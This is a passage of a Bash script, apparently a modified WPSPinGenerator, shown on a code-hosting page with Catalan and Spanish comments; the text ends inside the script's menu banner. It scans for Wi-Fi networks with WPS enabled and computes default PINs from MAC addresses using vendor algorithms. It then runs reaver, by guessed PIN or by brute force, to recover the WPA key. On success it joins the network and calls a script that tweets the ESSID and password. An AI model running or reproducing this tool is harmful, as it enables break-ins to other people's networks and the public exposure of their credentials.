You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

904 lines
25 KiB

  1. #!/bin/bash
  2. #
  3. # AVÍS
  4. # modificació del codi original, codi original de www.seguridadwirless.net
  5. # modificació per fer que l'execució sigui pràcticament autònoma, i que al
  6. # acabar es conecti a la xarxa wifi, i envii un tweet amb l'ESSID i la contrassenya
  7. #
  8. # data versió: 2015/01/01
  9. # Arnau
  10. #
  11. # www.seguridadwireless.net
  12. #
  13. # Búsqueda de redes con WPS activo (wash), cálculo del posible PIN por defecto
  14. # y prueba del PIN calculado (reaver)
  15. #######################################
  16. ############# CHANGELOG #############
  17. #######################################
  18. # 30/12/2014 VERSION 3.2
  19. # - Solucionado bug en la cuenta atrás mientras escanea en busca de objetivos
  20. #
  21. # 02/03/2014 VERSION 3.1
  22. # - Solucionado bug al buscar el pin genérico en la base de datos cuando el objetivo tiene el ESSID cambiado.
  23. #
  24. # 26/02/2014 VERSION 3.0
  25. # - Solucionado bug al buscar el pin genérico en la base de datos cuando hay 2 macs iguales.
  26. # - Se limita el tiempo de espera para comprobar actualizaciones para que no se quede el script pillado si el server tarda en responder
  27. #
  28. # 11/02/2014 VERSION 2.9
  29. # - Añadia función de actualizar la base de datos al inicio del script (solo si hay internet lógicamente)
  30. # 07/02/2014 VERSION 2.8
  31. # - Las Orange-XXXX estaban "baneadas" por coincidir algunas macs con las VodafoneXXXX y daban falso positivo,
  32. # ahora solo se banean si el keygen es EasyboxWPS, ya que algunas son comatibles con el algoritmo ComputePIN
  33. # 03/02/2014 VERSION 2.7
  34. # - Reaparado un bug al mostrar el PIN en algunas ocasiones.
  35. #######################################
  36. #######################################
  37. # Variables globales
  38. SCRIPT="WPSPinGenerator"
  39. VERSION="3.2"
  40. KEYS="$HOME/swireless/$SCRIPT/Keys"
  41. TMP="/tmp/$SCRIPT"
  42. MACs_DB="$(cat "$HOME/swireless/patrones_conocidos.txt" 2>/dev/null|grep -v "^#")"
  43. CheckPatronesConocidos() {
  44. BuscarESSID() {
  45. while read LINEA; do
  46. DB_ESSID="$(echo "$LINEA"|awk '{print $4}')"
  47. CHECKESSID="$(echo "$DB_ESSID"|tr -d '?')"
  48. if [ ${#DB_ESSID} -eq ${#ESSID} -a "$CHECKESSID" = "${ESSID:0:${#CHECKESSID}}" ]; then
  49. KEYGEN="$(echo "$LINEA"|awk '{print $3}')"
  50. [ "$KEYGEN" = "PINGENERICO" ] && PINGENERICO="$(echo "$LINEA"|rev|awk -F'\t' '{print $1}'|rev)"
  51. SOPORTADA="SI"
  52. break
  53. fi
  54. done <"$TMP/DB_CHECK.txt"
  55. }
  56. unset SOPORTADA KEYGEN PINGENERICO
  57. [ "$(echo "$ESSID"|grep -x "^WiFi[0-9]*$")" ] && [ ${#ESSID} -eq 10 ] && return
  58. #[ "${ESSID:0:3}" = "ONO" ] && [ ${#ESSID} -eq 7 ] && [ ! "$(echo "${ESSID:3:7}"|grep -x "^[[:xdigit:]]*0$")" ] && return
  59. DB_CHECK1="$(echo "$MACs_DB"|grep "^??:??:??"|grep "WPS")"
  60. echo "$DB_CHECK1" >"$TMP/DB_CHECK.txt"
  61. BuscarESSID
  62. if [ ! "$SOPORTADA" ]; then
  63. DB_CHECK2="$(echo "$MACs_DB"|grep "^${BSSID:0:8}"|grep "WPS")"
  64. if [ "$DB_CHECK2" ]; then
  65. echo "$DB_CHECK2" >"$TMP/DB_CHECK.txt"
  66. BuscarESSID
  67. [ ! "$SOPORTADA" ] && SOPORTADA="¿?" && KEYGEN="$(echo "$DB_CHECK2"|head -1|awk '{print $3}')" && \
  68. [ "$KEYGEN" = "PINGENERICO" ] && PINGENERICO="$(echo "$DB_CHECK2"|head -1|rev|awk -F'\t' '{print $1}'|rev)"
  69. fi
  70. fi
  71. [ "$(echo "$ESSID"|grep -x "^Orange-[[:xdigit:]]*$")" ] && [ ${#ESSID} -eq 11 ] && [ "$KEYGEN" = "EasyboxWPS" ] && return
  72. if [ ! "$SOPORTADA" ]; then
  73. if [ "$(echo "$ESSID"|grep "^vodafone")" ] && [ ${#ESSID} -eq 12 ]; then
  74. KEYGEN="ComputePIN"
  75. SOPORTADA="¿?"
  76. elif [ "$(echo "$ESSID"|grep "^MOVISTAR_")" ] && [ ${#ESSID} -eq 13 ]; then
  77. PINGENERICO="12345670 71537573"
  78. SOPORTADA="¿?"
  79. fi
  80. fi
  81. KEYGEN_WPS[$countWPS]="$KEYGEN"
  82. PIN_GENERICO[$countWPS]="$PINGENERICO"
  83. SOPORTADA_WPS[$countWPS]="$SOPORTADA"
  84. }
  85. ###################################################################
  86. ###################################################################
  87. # Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
  88. function wps_pin_checksum() {
  89. pin=$(echo ${pin}+0|bc -l) # Le quitamos los ceros de la izquierda para que salga bien el checksum
  90. acum=0
  91. PIN_p2=0
  92. while [ $pin -gt 0 ]; do
  93. acum=$(($acum + (3 * ($pin % 10))))
  94. pin=$(($pin / 10))
  95. acum=$(($acum + ($pin % 10)))
  96. pin=$(($pin / 10))
  97. done
  98. result=$(((10 - ($acum % 10)) % 10))
  99. PIN_p2=$(($result % 10000000))
  100. }
  101. # Algoritmos del script WPSPIN
  102. WPSPIN() {
  103. CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
  104. #DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
  105. #CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
  106. #segunda parte de bssid xx:xx:xx:XX:XX:XX
  107. BSSID_p2=$(echo $BSSID | cut -d ':' -f4-)
  108. #6 últimos dígitos de bssid sin ':'
  109. MAC=$(echo $BSSID_p2 | tr -d ':')
  110. #MAC = 6 últimos dígitos hex de la mac
  111. hex=$(echo -n $MAC | tr [:lower:] [:upper:]) #minúsculas a mayúsculas
  112. #PIN_p1 primera parte del pin, PIN_p2 segunda parte del pin
  113. PIN_p1=$(echo "ibase=16; $hex"|bc) #convertir hex a decimal
  114. #PIN_p1=$(printf '%d' 0x$hex) #convertir hex a decimal, otra forma
  115. PIN_p1a=$(($PIN_p1 % 10000000)) # elimina dígito más significativo de PIN_p1
  116. #PIN_p1b=$((($PIN_p1 % 10000000)+8)) # elimina dígito más significativo y suma 8
  117. #PIN_p1c=$((($PIN_p1 % 10000000)+14))
  118. pin=$PIN_p1a
  119. wps_pin_checksum
  120. PINWPS=$PIN_p1a$PIN_p2
  121. # Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
  122. while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
  123. #pin=$PIN_p1b
  124. #wps_pin_checksum
  125. #PINWPS2=$(printf "%07d%d" "$PIN_p1b" "$PIN_p2")
  126. #pin=$PIN_p1c
  127. #wps_pin_checksum
  128. #PINWPS3=$(printf "%07d%d" "$PIN_p1c" "$PIN_p2")
  129. }
  130. ###################################################################
  131. ###################################################################
  132. ###################################################################
  133. ###################################################################
  134. # Pin generator for FTE-XXXX (HG552c), original algorithm by kcdtv
  135. FTE_Keygen() {
  136. #FIN_ESSID=XXXX <- FTE-XXXX
  137. FIN_ESSID=$(echo $ESSID | cut -d '-' -f2)
  138. #nos quedamos con el 4 par de la bssid xx:xx:xx:XX:xx:xx
  139. PAR=$(echo $BSSID_p2 | cut -d ':' -f1)
  140. PAR=$(echo $PAR | tr -d ':')
  141. #hex=AB1234, donde essid es FTE-1234 y bssid es xx:xx:xx:AB:xx:xx
  142. hex=$(echo $PAR$FIN_ESSID)
  143. MAC=$(printf '%d' 0x$hex) #hex to dec
  144. PIN_p1=$((($MAC % 10000000)+7)) # elimina dígito más significativo de MAC y +7
  145. pin=$PIN_p1
  146. wps_pin_checksum
  147. PINWPS=$PIN_p1$PIN_p2
  148. # Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
  149. while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
  150. }
  151. ###################################################################
  152. ###################################################################
  153. easybox_wps() {
  154. ###################################################
  155. #
  156. # Generador de clave WPA y PIN WPS de VodafoneXXXX
  157. # Escrito en bash por geminis_demon - www.seguridadwireless.net
  158. # Algoritmo descubierto por Stefan Viehböck
  159. # Gracias a Coeman76 por explicar del funcionamiento del algoritmo
  160. #
  161. ##################################################################
  162. # Función que convierte de hex a decimal
  163. hex2dec() {
  164. echo $1|sed 's,\(..\)\(..\)\(..\)\(..\),\4\3\2\1,g'|(read hex;echo $((0x${hex})))
  165. }
  166. # Cojemos los pares 5 y 6 del bssid
  167. PAR5=$(echo $BSSID|cut -d':' -f5)
  168. PAR6=$(echo $BSSID|cut -d':' -f6)
  169. # Concatenamos los pares 5 y 6 y los convertimos a decimal para sacar el serial
  170. SERIAL=$(hex2dec ${PAR5}${PAR6})
  171. # Rellenamos con ceros a la izquierda hasta que el número sea de 5 dígitos
  172. while [ ${#SERIAL} -lt 5 ]; do SERIAL=0${SERIAL}; done
  173. # Cojemos los 4 últimos dígitos del serial
  174. SERIAL2=$(echo $SERIAL|cut -c2)
  175. SERIAL3=$(echo $SERIAL|cut -c3)
  176. SERIAL4=$(echo $SERIAL|cut -c4)
  177. SERIAL5=$(echo $SERIAL|cut -c5)
  178. # Convertimos cada digito de los pares 4 y 5 a decimal
  179. DEC1=$(hex2dec $(echo $PAR5|cut -c1))
  180. DEC2=$(hex2dec $(echo $PAR5|cut -c2))
  181. DEC3=$(hex2dec $(echo $PAR6|cut -c1))
  182. DEC4=$(hex2dec $(echo $PAR6|cut -c2))
  183. # Hacemos la suma para obtener los 2 números maestros
  184. MAESTRO1=$(((${SERIAL2}+${SERIAL3}+${DEC3}+${DEC4})%16))
  185. MAESTRO2=$(((${SERIAL4}+${SERIAL5}+${DEC1}+${DEC2})%16))
  186. # Obtenemos los valores del PIN mediante formulas XOR
  187. PIN1=$((${MAESTRO1}^${SERIAL5}))
  188. PIN2=$((${MAESTRO1}^${SERIAL4}))
  189. PIN3=$((${MAESTRO2}^${DEC2}))
  190. PIN4=$((${MAESTRO2}^${DEC3}))
  191. PIN5=$((${DEC3}^${SERIAL5}))
  192. PIN6=$((${DEC4}^${SERIAL4}))
  193. PIN7=$((${MAESTRO1}^${SERIAL3}))
  194. # Concatenamos los valores y los convertimos a exadecimal
  195. PIN=$(printf "%x%x%x%x%x%x%x\n" $PIN1 $PIN2 $PIN3 $PIN4 $PIN5 $PIN6 $PIN7)
  196. # Convertimos las minusculas en mayusculas
  197. PIN=$(echo $PIN|tr '[:lower:]' '[:upper:]')
  198. # Convertimos los valores a decimal
  199. PIN=$(hex2dec $PIN)
  200. # Nos quedamos con los 7 últimos dígitos
  201. PIN=$(echo $PIN|rev|cut -c1-7|rev)
  202. # Añadimos el útimo digito calculado por el CheckSum
  203. pin=$PIN
  204. wps_pin_checksum
  205. PINWPS=$PIN$PIN_p2
  206. # Rellenamos con ceros a la izquierda hasta que el número sea de 8 dígitos
  207. while [ ${#PINWPS} -lt 8 ]; do PINWPS=0${PINWPS}; done
  208. }
  209. # Comprobar si la interface está conectada a internet
  210. CheckETH() {
  211. clear
  212. if [ ! "$(iwconfig $tarjselec|grep "Not-Associated")" ]; then
  213. echo
  214. echo "Per evitar errors, la interfície \"$tarjselec\" no ha d'estar conectada a internet! "
  215. echo ""
  216. echo "Presiona ENTER per tornar a l'inici"
  217. read junk
  218. menu
  219. fi
  220. }
  221. # Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
  222. SeleccionarObjetivo() {
  223. i=0
  224. redesWPS=0
  225. while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
  226. longueur=${#BSSID}
  227. if [ $longueur -eq 17 ] ; then
  228. i=$(($i+1))
  229. WPSbssid[$i]=$BSSID
  230. WPSCHANNEL[$i]=$Channel
  231. WPSessid[$i]="$ESSID"
  232. PWR[$i]=$RSSI
  233. LOCK[$i]=$WPSLocked
  234. fi
  235. redesWPS=$i
  236. done <"$TMP/wash_capture"
  237. if [ "$redesWPS" = "0" ];then
  238. clear
  239. echo ""
  240. echo ""
  241. echo " * * * A T E N C I Ó * * * "
  242. echo ""
  243. echo " no s'ha trobat cap xarxa "
  244. echo " amb WPS activat"
  245. echo ""
  246. echo " apreta ENTER per tornar a començar"
  247. read junk
  248. InfoAP="OFF"
  249. menu
  250. else
  251. clear
  252. echo ""
  253. echo " Les següents xarxes són susceptibles a un atac amb REAVER"
  254. echo ""
  255. echo -n " BSSID Algoritme Genéric Lock Senyal Canal ESSID"
  256. [ "$FABRICANTES" = "1" ] && echo -en "\t\tFabricant"
  257. echo ""
  258. echo ""
  259. countWPS=0
  260. while [ 1 -le $i ]; do
  261. countWPS=$(($countWPS+1))
  262. ESSID="${WPSessid[$countWPS]}"
  263. BSSID=${WPSbssid[$countWPS]}
  264. PWR=$((${PWR[$countWPS]}+100))
  265. CHANNEL=${WPSCHANNEL[$countWPS]}
  266. LOCK=${LOCK[$countWPS]}
  267. if [ "$LOCK" = "Yes" ]; then LOCK="SI"; else LOCK="NO"; fi
  268. CheckPatronesConocidos
  269. SOPORTADA_WPS="${SOPORTADA_WPS[$countWPS]}"
  270. KEYGEN_WPS="${KEYGEN_WPS[$countWPS]}"
  271. PIN_GENERICO="${PIN_GENERICO[$countWPS]}"
  272. if [ "$PIN_GENERICO" ]; then
  273. if [ "$SOPORTADA_WPS" = "SI" ]; then
  274. GENERICO="SI"
  275. else
  276. GENERICO="¿?"
  277. fi
  278. else
  279. GENERICO="NO"
  280. fi
  281. if [ "$KEYGEN_WPS" ] && [ "$KEYGEN_WPS" != "PINGENERICO" ]; then
  282. if [ "$SOPORTADA_WPS" = "SI" ]; then
  283. ALGORITMO="SI"
  284. else
  285. ALGORITMO="¿?"
  286. fi
  287. else
  288. ALGORITMO="NO"
  289. fi
  290. WPA_TXT="$(echo "$ESSID")_$(echo $BSSID|tr ':' '-').txt"
  291. if [ -f "$TMP/$WPA_TXT" ]; then
  292. RESALTAR="\E[7m"
  293. else
  294. RESALTAR=""
  295. fi
  296. if [ "$FABRICANTES" = "1" ]; then
  297. FABRICANTE="$(cat /etc/aircrack-ng/airodump-ng-oui.txt|grep -m1 "$(echo "${BSSID:0:8}"|tr ':' '-')"|awk -F'\t' '{print $3}')"
  298. [ ! "$FABRICANTE" ] && FABRICANTE="Desconocido"
  299. while [ ${#ESSID} -lt 13 ]; do ESSID="$ESSID "; done
  300. ESSID="${ESSID:0:13}"
  301. FABRICANTE="${FABRICANTE:0:14}"
  302. else
  303. FABRICANTE=""
  304. fi
  305. N=$countWPS
  306. [ $N -lt 10 ] && N=" $N"
  307. [ $PWR -lt 10 ] && PWR=" $PWR"
  308. [ $CHANNEL -lt 10 ] && CHANNEL="$CHANNEL "
  309. echo -e " $N) ${RESALTAR}$BSSID\E[0m $ALGORITMO $GENERICO $LOCK $PWR% $CHANNEL ${RESALTAR}$ESSID\E[0m $FABRICANTE"
  310. i=$(($i-1))
  311. done
  312. i=$redesWPS
  313. echo ""
  314. echo " v) Vure/ocultar fabricants "
  315. echo " 0) tornar a l'inici "
  316. echo ""
  317. echo ""
  318. echo " --> Selecciona una xarxa[0m"
  319. read WPSoption
  320. set -- ${WPSoption}
  321. if [ "$WPSoption" = "V" -o "$WPSoption" = "v" ]; then
  322. if [ "$FABRICANTES" = "1" ]; then
  323. FABRICANTES=""; SeleccionarObjetivo
  324. else
  325. FABRICANTES=1; SeleccionarObjetivo
  326. fi
  327. elif [ $WPSoption -le $redesWPS ]; then
  328. if [ "$WPSoption" = "0" ];then
  329. menu
  330. fi
  331. ESSID=${WPSessid[$WPSoption]}
  332. BSSID=${WPSbssid[$WPSoption]}
  333. CHANNEL=${WPSCHANNEL[$WPSoption]}
  334. PIN_GENERICO=${PIN_GENERICO[$WPSoption]}
  335. KEYGEN_WPS=${KEYGEN_WPS[$WPSoption]}
  336. clear
  337. else
  338. echo " Opció no vàlida... torna a escollir"
  339. sleep 2
  340. SeleccionarObjetivo
  341. fi
  342. fi
  343. InfoAP="ON"
  344. ProbarPINCalculado
  345. }
  346. # Escanear con wash
  347. WashScan() {
  348. [ ! "$WIFI" ] && auto_select_monitor
  349. CheckETH
  350. # Nos aseguramos que que la interface está up para evitar problemas con las ralink
  351. ifconfig $tarjselec up
  352. echo ""
  353. echo " -->  Temps d'escaneig 30s "
  354. SCANTIME=15
  355. echo ""
  356. echo " -->  Escanejant tots els canals per defecte (de l'1 al 14) "
  357. SCANCHANNEL=""
  358. sleep 1
  359. tput clear
  360. tput sc
  361. if [ -e "$TMP/wash_capture" ]; then rm -rf "$TMP/wash_capture"; fi
  362. killall wash 2>/dev/null
  363. wash -D -i $WIFI -C $SCANCHANNEL -o $TMP/wash_capture 2>/dev/null
  364. sleep 1
  365. WashPID=$(pgrep wash)
  366. sleep $SCANTIME && kill $WashPID 2>/dev/null &
  367. sleep 1
  368. trap "kill $WashPID" SIGINT
  369. seconds=$SCANTIME
  370. while [ -e /proc/$WashPID ]; do
  371. seconds=$(($seconds-1))
  372. sleep 1
  373. tput rc
  374. tput ed
  375. echo "Escanejant en busca d'objectius... $seconds segons (Ctrl+C para aturar)"
  376. echo ""
  377. cat $TMP/wash_capture
  378. done
  379. cat "$TMP/wash_capture"|tail +3|sort -k3 -n >"$TMP/wash_capture.new"
  380. mv "$TMP/wash_capture.new" "$TMP/wash_capture"
  381. SeleccionarObjetivo
  382. }
  383. auto_select_monitor() {
  384. #! /bin/bash
  385. #############################################################################################################
  386. # Programa: monitormode
  387. # Autor: M.K. Maese Kamara
  388. #
  389. # Detectar tarjetas y montar en modo monitor
  390. #############################################################################################################
  391. #poner tarjeta en modo monitor AUTOMATICO
  392. clear
  393. t=0
  394. if [ ! "$WIFI" ]; then
  395. > $TEMP/wireless.txt
  396. cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v mon `
  397. echo $cards >> $TEMP/wireless.txt
  398. tarj1=`cat $TEMP/wireless.txt | cut -d ' ' -f 1 | awk '{print $1}'`
  399. tarj2=`cat $TEMP/wireless.txt | cut -d ' ' -f 2 | awk '{print $1}'`
  400. rm -rf $TEMP/wireless.txt
  401. if [ ! "$tarj1" ]; then
  402. clear
  403. echo " * * * A T E N C I Ó * * * "
  404. echo ""
  405. echo " No s'ha trobat cap targeta wifi a l'equip"
  406. echo ""
  407. echo " Pulsa ENTER per tornar a l'inici"
  408. read yn
  409. menu
  410. fi
  411. if [ "$tarj1" = "$tarj2" ]; then
  412. tarj2=""
  413. fi
  414. tarjselec=$tarj1
  415. if [ "$tarj2" ] ;then
  416. echo
  417. echo
  418. echo " s'han trobat les següents targetes wifi a l'equip"
  419. echo
  420. airmon-ng |awk 'BEGIN { print "Tarjeta Chip Driver\n------- ------------------ ----------" } \
  421. { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface |grep -v Chipset
  422. echo " Selecciona una per utilitzarla en mode monitor"
  423. echo
  424. tarj_wire=""
  425. tarjselec=""
  426. function selectarj {
  427. select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset `; do
  428. break;
  429. done
  430. if [ ! "$tarjselec" ]; then
  431. echo " La opció seleccionada no és vàlida"
  432. echo " Introdueix una opció vàlida..."
  433. selectarj
  434. fi
  435. }
  436. if [ ! "$tarjselec" ]; then
  437. selectarj
  438. fi
  439. echo ""
  440. echo "Interfície seleccionada: $tarjselec"
  441. # Limpieza de interface
  442. ifconfig $tarjselec down >/dev/null
  443. ifconfig $tarjselec up >/dev/null
  444. # Comprobación de interface
  445. CheckETH
  446. fi
  447. else
  448. echo
  449. fi
  450. tarjmonitor=${tarjselec:0:3}
  451. if [ "$tarjmonitor" != "mon" ] && [ ! "$WIFI" ];then
  452. echo ""
  453. echo ""
  454. echo " s'està montant la targeta en mode monitor, espera..."
  455. echo ""
  456. sleep 1
  457. airmon-ng start $tarjselec >/dev/null
  458. cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
  459. largo=${#cards}
  460. final=$(($largo-4))
  461. WIFI=${cards:final}
  462. echo " $WIFI ----> S'utilitzarà en mode monitor."
  463. sleep 2
  464. else
  465. if [ ! "$WIFI" ];then
  466. WIFI="$tarjselec"
  467. echo ""
  468. echo " $WIFI ----> S'utilitzarà en mode monitor."
  469. sleep 2
  470. fi
  471. fi
  472. clear
  473. }
  474. #Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
  475. function DESMONTAR_tarj_y_salir {
  476. if [ "$WIFI" ]; then
  477. clear
  478. echo ""
  479. echo ""
  480. echo ""
  481. echo " ####################################################################"
  482. echo " ### ###"
  483. echo " ### ¿Vols desmuntar la targeta abans de sortir? ###"
  484. echo " ### ###"
  485. echo " ### (n) no -> sortir sense desmuntar ###"
  486. echo " ### (m) Menú -> tornar al menú principal ###"
  487. echo " ### ENTER -> Desmuntar y Sortir ###"
  488. echo " ### ###"
  489. echo " ### ###"
  490. echo " ####################################################################"
  491. echo ""
  492. echo ""
  493. read salida
  494. set -- ${salida}
  495. if [ "$salida" = "m" ]; then
  496. menu
  497. fi
  498. if [ "$salida" = "n" ]; then
  499. echo ""
  500. echo " Fins aviat..."
  501. sleep 2
  502. clear
  503. exit
  504. fi
  505. echo "$WIFI Ha sigut desmuntada"
  506. airmon-ng stop $WIFI >/dev/null
  507. fi
  508. echo ""
  509. echo " Fins aviat..."
  510. sleep 2
  511. clear
  512. exit
  513. }
  514. ParsearReaver() {
  515. echo
  516. WPA_KEY="$(tail $TMP/reaver_capture|grep "WPA PSK:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
  517. if [ "$WPA_KEY" ]; then
  518. if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" ]; then
  519. rm -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
  520. fi
  521. PIN="$(tail $TMP/reaver_capture|grep "WPS PIN:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
  522. WPA_TXT="$(echo "$ESSID")_$(echo $BSSID|tr ':' '-').txt"
  523. echo "ESSID: $ESSID" > "$TMP/$WPA_TXT"
  524. echo "BSSID: $BSSID" >> "$TMP/$WPA_TXT"
  525. echo "PIN WPS: $PIN" >> "$TMP/$WPA_TXT"
  526. echo "CLAU WPA: $WPA_KEY" >> "$TMP/$WPA_TXT"
  527. nmcli d wifi connect $ESSID password $WPA_KEY iface wlan0
  528. python enviatuitwifi.py $ESSID $WPA_KEY
  529. cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > "$KEYS/$WPA_TXT"
  530. echo -e "\033[0;32mLa clau ha sigut guardada en \"$KEYS/$WPA_TXT\"\E[0m"
  531. else
  532. if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" ]; then
  533. mv "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak" "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc"
  534. fi
  535. echo "No ha sigut possible trobar la clau wpa."
  536. fi
  537. echo ""
  538. echo "Presiona enter per tornar al menú"
  539. read junk
  540. menu
  541. }
  542. ProbarPINCalculado() {
  543. LanzarReaver() {
  544. killall reaver 2>/dev/null
  545. reaver -D -i $WIFI -b $BSSID -c $CHANNEL -a -n -g 1 -p $PINWPS -vv -o $TMP/reaver_capture 2>/dev/null
  546. sleep 1
  547. ReaverPID=$(pgrep reaver)
  548. trap "kill $ReaverPID" SIGINT
  549. tail -F $TMP/reaver_capture --pid=$ReaverPID
  550. WPA_KEY="$(tail $TMP/reaver_capture|grep "WPA PSK:"|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)"
  551. if [ ! "$WPA_KEY" ]; then
  552. if [ "$(tail $TMP/reaver_capture|grep "Quitting after 1")" ]; then
  553. echo -e "[-] \033[0;31mPIN incorrecte\E[0m\n"
  554. sleep 3
  555. clear
  556. else
  557. echo -e "\n\033[0;31mEl procés s'ha aturat, no s'ha pogut provar el PIN\E[0m\n "
  558. sleep 3
  559. SeleccionarObjetivo
  560. fi
  561. fi
  562. }
  563. ProbarGenerico() {
  564. Y=$(echo "$PIN_GENERICO"|tr ' ' '\n'|wc -l)
  565. X=0
  566. for PINWPS in $PIN_GENERICO; do
  567. X=$(($X+1))
  568. echo -e "\033[1;33mPovant amb el PIN genéric $X/$Y... (Ctrl+C per aturar)\E[0m\n "
  569. LanzarReaver
  570. [ "$WPA_KEY" ] && break
  571. done
  572. }
  573. ProbarComputePIN() {
  574. WPSPIN
  575. echo -e "\033[1;33mPovant amb algorite ComputePIN... (Ctrl+C per aturar)\E[0m\n "
  576. LanzarReaver
  577. }
  578. ProbarEasyboxWPS() {
  579. easybox_wps
  580. echo -e "\033[1;33mPovant amb EasyboxWPS... (Ctrl+C per aturar)\E[0m\n "
  581. LanzarReaver
  582. }
  583. ProbarFTE_Keygen() {
  584. FTE_Keygen
  585. echo -e "\033[1;33mPovant amb FTE_Keygen... (Ctrl+C per aturar)\E[0m\n "
  586. LanzarReaver
  587. }
  588. [ ! "$WIFI" ] && auto_select_monitor
  589. CheckETH
  590. # Nos aseguramos que que la interface está up para evitar problemas con las ralink
  591. ifconfig $tarjselec up
  592. if [ -f "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc" ]; then
  593. cp "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc" "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
  594. else
  595. touch "/etc/reaver/$(echo "$BSSID"|tr -d ':').wpc.bak"
  596. fi
  597. WPA_KEY=""
  598. PINWPS=""
  599. [ "$PIN_GENERICO" ] && ProbarGenerico
  600. if [ "$KEYGEN_WPS" = "FTE_Keygen" ]; then
  601. [ ! "$WPA_KEY" ] && ProbarFTE_Keygen
  602. [ ! "$WPA_KEY" ] && ProbarComputePIN
  603. [ ! "$WPA_KEY" ] && ProbarEasyboxWPS
  604. elif [ "$KEYGEN_WPS" = "EasyboxWPS" ]; then
  605. [ ! "$WPA_KEY" ] && ProbarEasyboxWPS
  606. [ ! "$WPA_KEY" ] && ProbarComputePIN
  607. else
  608. [ ! "$WPA_KEY" ] && ProbarComputePIN
  609. [ ! "$WPA_KEY" ] && ProbarEasyboxWPS
  610. fi
  611. ParsearReaver
  612. }
  613. FuerzaBruta() {
  614. [ ! "$WIFI" ] && auto_select_monitor
  615. CheckETH
  616. # Nos aseguramos que que la interface está up para evitar problemas con las ralink
  617. ifconfig $tarjselec up
  618. echo -e "\033[1;33mLlançant atac de força bruta... (Ctrl+C per aturar)\E[0m\n "
  619. killall reaver 2>/dev/null
  620. reaver -D -i $WIFI -b $BSSID -c $CHANNEL -a -n -vv -o $TMP/reaver_capture 2>/dev/null
  621. sleep 1
  622. ReaverPID=$(pgrep reaver)
  623. trap "kill $ReaverPID" SIGINT
  624. tail -F $TMP/reaver_capture --pid=$ReaverPID
  625. ParsearReaver
  626. }
  627. ActualizarBD() {
  628. DB_LOCAL="$(cat "$HOME/swireless/patrones_conocidos.txt" 2>/dev/null|grep "^# VERSION [0-9]*$"|awk '{print $3}')"
  629. DB_REMOTA="$(timeout -s SIGTERM 3 curl -s "http://downloadwireless.net/scripts-live/patrones_conocidos.txt"|grep "^# VERSION [0-9]*$"|awk '{print $3}')"
  630. [ ! "$DB_REMOTA" ] && return
  631. if [ ! "$DB_LOCAL" ] || [ $DB_LOCAL -lt $DB_REMOTA ]; then
  632. [ ! -d "$HOME/swireless" ] && rm -rf "$HOME/swireless" && mkdir -p "$HOME/swireless"
  633. [ ! "$(timeout -s SIGTERM 3 curl -s "http://downloadwireless.net/scripts-live/patrones_conocidos.txt" >"$HOME/swireless/patrones_conocidos.txt")" ] && return
  634. DB_LOCAL=$DB_REMOTA
  635. echo
  636. echo " - La base de dades ha sigut actualitzada a la versió $DB_LOCAL"
  637. echo
  638. if [ "$(which dir2xzm)" ]; then
  639. while true; do
  640. read -p " - ¿Guardar en un módulo XZM? (s/n) " SN
  641. if [ "$SN" = "S" -o "$SN" = "s" ]; then
  642. mkdir -p "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw$HOME/swireless"
  643. cp -f "$HOME/swireless/patrones_conocidos.txt" "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw$HOME/swireless"
  644. dir2xzm "$TMP/patrones-conocidos-$DB_LOCAL-noarch-1sw" "$HOME/Desktop/patrones-conocidos-$DB_LOCAL-noarch-1sw.xzm" >/dev/null 2>&1
  645. echo
  646. echo " - S'ha creat un mòdul a $HOME/Desktop/patrones-conocidos-$DB_LOCAL-noarch-1sw.xzm"
  647. echo
  648. break
  649. elif [ "$SN" = "N" -o "$SN" = "n" ]; then
  650. break
  651. fi
  652. echo -en "\033[1A"
  653. tput ed
  654. done
  655. fi
  656. echo " - Presiona qualsevol tecla per continuar"
  657. read -sn1
  658. fi
  659. }
  660. # Menú principal
  661. menu() {
  662. clear
  663. echo " AVÍS"
  664. echo " modificació del codi original, codi original de www.seguridadwirless.net"
  665. echo " modificació per fer que l'execució sigui pràcticament autònoma, i que al"
  666. echo " acabar es conecti a la xarxa wifi, i envii un tweet amb l'ESSID i la contrassenya"
  667. echo " pensat per executar-se sobre linux, amb reaver, wash, aircrack-ng i python instalats"
  668. echo " "
  669. echo " data versió: 2015/01/01"
  670. echo " Arnau"
  671. echo " ----------------------------------------------------------------- "
  672. echo " VERSIO AUTOMATICA - EN PROVES ---------------------------------- "
  673. echo " ----------------------------------------------------------------- "
  674. sleep 2
  675. echo "--> som-hi!"
  676. sleep 1
  677. echo "
  678. __ __ ___ _
  679. / / /\ \ \____ ___ / _ (_)_ __
